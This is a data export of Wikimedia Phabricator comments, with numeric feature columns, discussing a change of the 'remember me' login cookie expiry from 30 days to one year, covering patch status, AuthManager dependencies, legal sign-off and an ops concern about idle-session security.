[[https://gerrit.wikimedia.org/r/295551]]
",,,1466613656,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,50,True,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,3.7058823529411766,0.8823529411764706,"Change 295551 had a related patch set uploaded (by Mattflaschen):
Extended login: Don't use a $wg config variable, add UserName

[[GERRIT_URL]]
"
677270,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Do it do it do it do it do it please.

Okay, maybe you really do need to wait for AuthManager.  But count me as an active supporter for getting this done as soon as reasonably possible, not just in the category of ""silence is consent"".",,,1465506318,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,49,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,13.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,7.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,13.0,13.0,2.0,0.0,4.0,0.0,13.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.4727272727272727,0.7272727272727273,"Do it do it do it do it do it please.

Okay, maybe you really do need to wait for AuthManager.  But count me as an active supporter for getting this done as soon as reasonably possible, not just in the category of ""silence is consent""."
676367,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",This also needs to wait until AuthManager is enabled (wgDisableAuthManager false) in production.,,,1465407767,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,48,True,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,1.0,This also needs to wait until AuthManager is enabled (wgDisableAuthManager false) in production.
675901,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Okay, speak now...  I'll check back in about a week and if no one has objected will re-sync with Legal in order to go ahead and do it.",,,1465343417,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,48,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,11.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,6.0,17.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.057142857142857,0.9428571428571428,"Okay, speak now...  I'll check back in about a week and if no one has objected will re-sync with Legal in order to go ahead and do it."
673696,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","From a Product POV I'd be OK with this going out. I agree somewhat that there are alternatives we can consider, but I think this would be a good move for now.",,,1464908616,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,48,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,11.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,8.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,8.0,19.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,11.0,14.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.5277777777777777,0.8333333333333334,"From a Product POV I'd be OK with this going out. I agree somewhat that there are alternatives we can consider, but I think this would be a good move for now."
673659,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","This is now unblocked technically, I think.

@Jdforrester-WMF @jmatazzoni  What do you think?  See BBlack's [comment](https://phabricator.wikimedia.org/T68699#1534649) above.",,,1464906759,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,48,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.111111111111111,0.8888888888888888,"This is now unblocked technically, I think.
SCREEN_NAME-WMFSCREEN_NAME  What do you think?  See BBlack's [comment](URL above."
649515,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2216256, @Mpaulson wrote:
> @Mattflaschen - Has this been changed to one year now? 

No, it's still being worked on.",,,1461255572,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,42,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.9230769230769231,"QUOTE
QUOTE

No, it's still being worked on."
647695,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",@Mattflaschen - Has this been changed to one year now? ,,,1461022194,,PHID-USER-kffalvhbc2wojbtnxvua,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,1.0,SCREEN_NAME - Has this been changed to one year now? 
628509,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 230954 restored by Mattflaschen:
Change login cookies (for 'Remember me') to a one year expiry.

Reason:
My mistake

[[https://gerrit.wikimedia.org/r/230954]]",,,1457747156,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,9.0,3.0,0.0,6.0,0.0,6.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,9.0,3.5142857142857142,0.8,"Change 230954 restored by Mattflaschen:
Change login cookies (for 'Remember me') to a one year expiry.

Reason:
My mistake

[[GERRIT_URL]]"
628508,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Thanks, I apologize.  I grepped on it with the wg included.",,,1457747123,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,13.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2666666666666666,0.8666666666666667,"Thanks, I apologize.  I grepped on it with the wg included."
621635,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2060691, @Mattflaschen wrote:
> The call to setExtendedLoginCookie was removed in {a73c5b7395a07d490f7052fd3b2491ebd656b190} , and it was marked as deprecated. $wgExtendedLoginCookies is no longer referenced.

Yes it is. It's referenced from [[https://git.wikimedia.org/blob/mediawiki%2Fcore/master/includes%2Fsession%2FCookieSessionProvider.php#L220|CookieSessionProvider]] and [[https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FCentralAuth/master/includes%2Fsession%2FCentralAuthSessionProvider.php#L323|CentralAuthSessionProvider]].",,,1456945315,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,34,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,32.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.736842105263158,0.7368421052631579,"QUOTE
QUOTE

Yes it is. It's referenced from [[URL and [[URL"
617334,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 230954 abandoned by Mattflaschen:
Change login cookies (for 'Remember me') to a one year expiry.

Reason:
Not ready right now.  See T68699.

[[https://gerrit.wikimedia.org/r/230954]]",,,1456336791,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,33,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,21.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,2.0,7.0,5.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,3.4047619047619047,0.7857142857142857,"Change 230954 abandoned by Mattflaschen:
Change login cookies (for 'Remember me') to a one year expiry.

Reason:
Not ready right now.  See T68699.

[[GERRIT_URL]]"
617327,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","The call to setExtendedLoginCookie was removed in {a73c5b7395a07d490f7052fd3b2491ebd656b190} , and it was marked as deprecated. $wgExtendedLoginCookies is no longer referenced.

If we still wanted to do this (see BBlack's comment), someone would have to implement this in SessionManager, or we could use the extended cookie duration for all $wgCookieExpiration cookies.

If we do the latter or drop this, wgExtendedLoginCookies can be dropped (it has no effect already).",,,1456336588,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,33,True,1.0,1.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,11.0,1.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,1.0,0.0,4.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,6.0,2.0,4.0,9.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,6.0,11.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.776470588235294,0.7058823529411765,"The call to setExtendedLoginCookie was removed in {a73c5b7395a07d490f7052fd3b2491ebd656b190} , and it was marked as deprecated. $wgExtendedLoginCookies is no longer referenced.

If we still wanted to do this (see BBlack's comment), someone would have to implement this in SessionManager, or we could use the extended cookie duration for all $wgCookieExpiration cookies.

If we do the latter or drop this, wgExtendedLoginCookies can be dropped (it has no effect already)."
508043,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#1534649, @BBlack wrote:
> Separately from that (and thus totally ignorable - it seems we're a bit deep in this plan to change course right now, and it's not really my area) -- Can't say I'm thrilled about the overall plan here, which if I understand it creates a situation where a user can login once and walk away, but gets no re-auth when they show back up 364 days later on the same device.

Only if they explicitly choose 'Keep me logged in'.  Also, the i18n message (userlogin-remembermypassword) has a parameter (which is used on e.g. enwiki) that allows displaying the number of days (not sure this is great UX, but...).  Also, I just realized there is a bug here that this doesn't respect the extended cookie expiration.  That's an easy fix, though.

> Wouldn't it have been better to use a scheme that periodically (say, once a day) refreshed the SetCookie for active logged-users (for up to X (a year?) from the last real login), and leave the idle expiry at 30d (or perhaps even shorter, 2w or so)?

We talked about this above.  It just depends on whether we think being logged out after 45 (or whatever) days of inactivity (despite saying 'Keep me logged in') is a feature or a bug.",,,1439526987,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,1.5,1.5,2.5,1.5,0.0,1.0,0.5,2.0,3.5,0.0,0.5,0.5,3.5,0.5,7.5,9.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,7.0,1.5,1.0,1.0,0.0,0.0,0.5,1.5,0.5,0.0,0.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,8.5,2.5,1.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,5.0,3.0,8.0,3.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,4.5,9.0,2.0,0.0,2.5,0.0,4.5,0.0,2.0,3.5,1.5,1.5,0.0,0.0,0.0,3.5790366350067844,0.7971506105834465,"QUOTE
QUOTE

Only if they explicitly choose 'Keep me logged in'.  Also, the i18n message (userlogin-remembermypassword) has a parameter (which is used on e.g. enwiki) that allows displaying the number of days (not sure this is great UX, but...).  Also, I just realized there is a bug here that this doesn't respect the extended cookie expiration.  That's an easy fix, though.

QUOTE

We talked about this above.  It just depends on whether we think being logged out after 45 (or whatever) days of inactivity (despite saying 'Keep me logged in') is a feature or a bug."
507416,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","@bblack makes some very valid points, thx",,,1439475233,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,6,True,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.875,1.0,"SCREEN_NAME makes some very valid points, thx"
507350,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","As there's no change to the name or functionality of the cookies here, there's nothing for ops to disapprove on the ""cookie review"" part.

Separately from that (and thus totally ignorable - it seems we're a bit deep in this plan to change course right now, and it's not really my area) -- Can't say I'm thrilled about the overall plan here, which if I understand it creates a situation where a user can login once and walk away, but gets no re-auth when they show back up 364 days later on the same device.  That seems pointlessly leaky way past when an idle user would remember this is a problem.

Wouldn't it have been better to use a scheme that periodically (say, once a day) refreshed the SetCookie for active logged-users (for up to X (a year?) from the last real login), and leave the idle expiry at 30d (or perhaps even shorter, 2w or so)?  That would get past the ""editor gets logged out mid-activity once a month"" sort of problem, increase convenience for the truly-active, and also increase security for the idle login sessions re: device takeover by another human if the raw cookie time gets dropped to 2w.  Would require tracking on our end the last real login date and last cookie refresh date per-user, but that doesn't sound awful.  Probably actually an improvement in terms of stats on logged-in users' inactive-ness.",,,1439469368,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,7.333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,1.6666666666666667,2.0,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,10.666666666666666,11.666666666666666,0.3333333333333333,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,5.0,1.0,1.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,1.6666666666666667,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.0,17.0,1.6666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.6666666666666666,0.0,1.0,0.6666666666666666,0.0,0.0,7.666666666666667,0.6666666666666666,4.0,1.6666666666666667,3.6666666666666665,11.0,0.0,0.0,0.0,0.0,4.666666666666667,0.3333333333333333,1.0,0.0,3.3333333333333335,11.666666666666666,0.6666666666666666,0.6666666666666666,1.6666666666666667,0.0,3.3333333333333335,0.0,1.6666666666666667,3.3333333333333335,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,3.694848484848485,0.7482828282828283,"As there's no change to the name or functionality of the cookies here, there's nothing for ops to disapprove on the ""cookie review"" part.

Separately from that (and thus totally ignorable - it seems we're a bit deep in this plan to change course right now, and it's not really my area) -- Can't say I'm thrilled about the overall plan here, which if I understand it creates a situation where a user can login once and walk away, but gets no re-auth when they show back up 364 days later on the same device.  That seems pointlessly leaky way past when an idle user would remember this is a problem.

Wouldn't it have been better to use a scheme that periodically (say, once a day) refreshed the SetCookie for active logged-users (for up to X (a year?) from the last real login), and leave the idle expiry at 30d (or perhaps even shorter, 2w or so)?  That would get past the ""editor gets logged out mid-activity once a month"" sort of problem, increase convenience for the truly-active, and also increase security for the idle login sessions re: device takeover by another human if the raw cookie time gets dropped to 2w.  Would require tracking on our end the last real login date and last cookie refresh date per-user, but that doesn't sound awful.  Probably actually an improvement in terms of stats on logged-in users' inactive-ness."
507228,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",Adding @BBlack to comment on the cookie change. ,,,1439446870,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,AddingSCREEN_NAME to comment on the cookie change. 
507205,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I was assuming all, unless someone asks for an exception.",,,1439441211,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,6,True,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,4.0,1.0,"I was assuming all, unless someone asks for an exception."
506525,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",Are we doing this just on SUL wikis or fishbowl and private ones too?,,,1439359980,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.7333333333333334,1.0,Are we doing this just on SUL wikis or fishbowl and private ones too?
506488,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I got an email from @Mpaulson, and we're coordinating on the timing.",,,1439355246,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,4.214285714285714,1.0,"I got an email fromSCREEN_NAME, and we're coordinating on the timing."
506411,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Patch is up.  Should be merged after all of the following:

* [CentralAuth change](https://gerrit.wikimedia.org/r/#/c/141394/5) rolls out to all WMF wikis
* Ops confirms they're okay with it (they've asked to be informed of cookie changes).
* @mpaulson from legal confirms they're aware of it and we do any timing coordination necessary.",,,1439340554,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,5,True,5.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,5.0,9.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,14.0,8.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.8615384615384616,0.7692307692307693,"Patch is up.  Should be merged after all of the following:

* [CentralAuth change](URL rolls out to all WMF wikis
* Ops confirms they're okay with it (they've asked to be informed of cookie changes).
